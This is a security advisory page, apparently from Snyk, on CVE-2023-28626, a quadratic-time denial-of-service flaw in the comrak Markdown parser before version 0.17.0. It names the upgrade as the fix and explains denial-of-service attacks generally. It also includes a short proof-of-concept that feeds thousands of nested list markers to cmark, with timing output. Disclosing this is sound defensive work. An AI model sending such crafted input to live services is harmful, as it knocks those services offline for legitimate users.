Denial of Service (DoS) Affecting comrak package, versions <0.17.0
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-RUST-COMRAK-5291893
- published29 Mar 2023
- disclosed28 Mar 2023
- creditUnknown
Introduced: 28 Mar 2023
CVE-2023-28626 (opens in a new tab)How to fix?
Upgrade comrak to version 0.17.0 or higher.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) due to improper input validation, which might result in quadratic runtime issues when parsing Markdown.
PoC
$ python -c 'print("* "*10000 + "a")' | time cmark > /dev/null
1.21user 0.00system 0:01.23elapsed 98%CPU (0avgtext+0avgdata 6048maxresident)k
0inputs+0outputs (0major+1188minor)pagefaults 0swaps
$ python -c 'print("* "*20000 + "a")' | time cmark > /dev/null
7.55user 0.00system 0:07.59elapsed 99%CPU (0avgtext+0avgdata 9968maxresident)k
0inputs+0outputs (0major+2245minor)pagefaults 0swaps
$ python -c 'print("* "*40000 + "a")' | time cmark > /dev/null
41.23user 0.01system 0:41.44elapsed 99%CPU (0avgtext+0avgdata 18848maxresident)k
0inputs+0outputs (0major+4410minor)pagefaults 0swaps
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage